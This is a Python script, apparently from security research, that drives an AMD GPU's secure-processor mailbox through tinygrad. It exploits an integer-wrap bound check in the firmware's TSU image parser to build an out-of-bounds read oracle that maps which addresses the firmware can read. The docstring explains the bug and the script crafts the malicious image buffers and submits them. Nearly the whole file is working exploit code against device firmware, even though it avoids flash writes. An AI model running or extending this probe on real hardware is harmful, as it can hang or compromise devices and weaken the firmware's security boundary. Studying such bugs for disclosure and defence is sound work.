1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
|
"""Reachability oracle via the TSU parser — NO flash write.
rom_parse_directory -> fw_tail_scan performs exactly one attacker-directed read:
v4 = *(image + 20) <- we choose this
if ((unsigned)(v4 + 16) <= 0x200000) <- 32-bit, wraps
if (*(_DWORD *)(image + v4) == '$PSP') <- THE READ at base + v4
else result = -65528
if (v3 != 0 || *a1 != 0) return result; <- *a1 == 1, returns here
Any non-zero return makes tsu_parse_rom_image bail at detail 7, so
tsu_write_active_slot never runs and flash is never touched.
Oracle:
status 0x0008 -> the read completed => that address is readable by SYS_DRV
status 0x300F -> (v4+16) failed the bound (no read attempted)
TIMEOUT/hang -> data abort => not mapped (needs a power cycle)
Usage: probe_tsu_readoracle.py [v4 ...] (hex ok). Default: in-bounds self-test.
"""
import sys, time
from tinygrad import Device
from tinygrad.helpers import lo32, hi32
d = Device["AMD"]; adev = d.iface.dev_impl
base = adev.reg("regMP0_SMN_C2PMSG_73").addr[0]
def mb(n): return adev.rreg(base + (n - 73))
def mbw(n, v): adev.wreg(base + (n - 73), v & 0xFFFFFFFF)
def alive(): return adev.reg("regMP0_SMN_C2PMSG_81").read() != 0
def submit(cmd, arg=0, to=2.0):
mbw(116, arg); mbw(115, (cmd & 0xFF) << 16); mbw(73, 1)
t0 = time.time()
while time.time() - t0 < to:
v = mb(115)
if v & 0x80000000: return v & 0xFFFF, time.time() - t0
time.sleep(0.001)
return None, time.time() - t0
SZ = 0x200000
pa = adev.mm.palloc(SZ, align=0x1000, zero=True)
mc = adev.paddr2mc(pa)
def build(v4, plant_psp_at=None):
buf = bytearray(0x2000)
buf[0:4] = (0x55AA55AA).to_bytes(4, 'little') # gets past rom_parse_directory
buf[20:24] = (v4 & 0xFFFFFFFF).to_bytes(4, 'little')
if plant_psp_at is not None:
buf[plant_psp_at:plant_psp_at+4] = b'$PSP'
adev.vram.view(pa, len(buf))[:] = bytes(buf)
adev.gmc.flush_hdp()
def run(v4, label, plant=None):
if not alive():
print(" !! sOS DEAD -- stop"); return None
build(v4, plant)
submit(0x02, lo32(mc)); submit(0x03, hi32(mc))
s, dt = submit(0x04)
txt = "TIMEOUT/HANG" if s is None else "%#06x" % s
meaning = {0x0008: "read completed (addr READABLE)",
0x300F: "bound rejected (no read)"}.get(s, "other")
if s is None: meaning = "FAULT -> not mapped"
print(" v4=%#010x %-28s status=%-12s %-32s alive=%s" % (v4 & 0xFFFFFFFF, label, txt, meaning, alive()))
return s
print("sOS alive:", alive(), " buffer MC=%#x size=%#x" % (mc, SZ))
args = [int(a, 0) for a in sys.argv[1:]]
if args:
print("\n=== custom offsets ===")
for v in args: run(v, "custom")
else:
print("\n=== A. self-test, all reads INSIDE our own buffer (zero risk) ===")
run(0x000000, "read our dword0 (0x55AA55AA)")
run(0x000100, "read our +0x100 (zeros)")
run(0x001000, "read our +0x1000 (zeros)")
print("\n=== B. positive control: plant '$PSP' where v4 points ===")
run(0x000800, "plant $PSP at +0x800", plant=0x800)
print("\n=== C. bound check (should reject without reading) ===")
run(0x200000, "v4 = 0x200000 (over bound)")
print("\nsOS alive at end:", alive())
|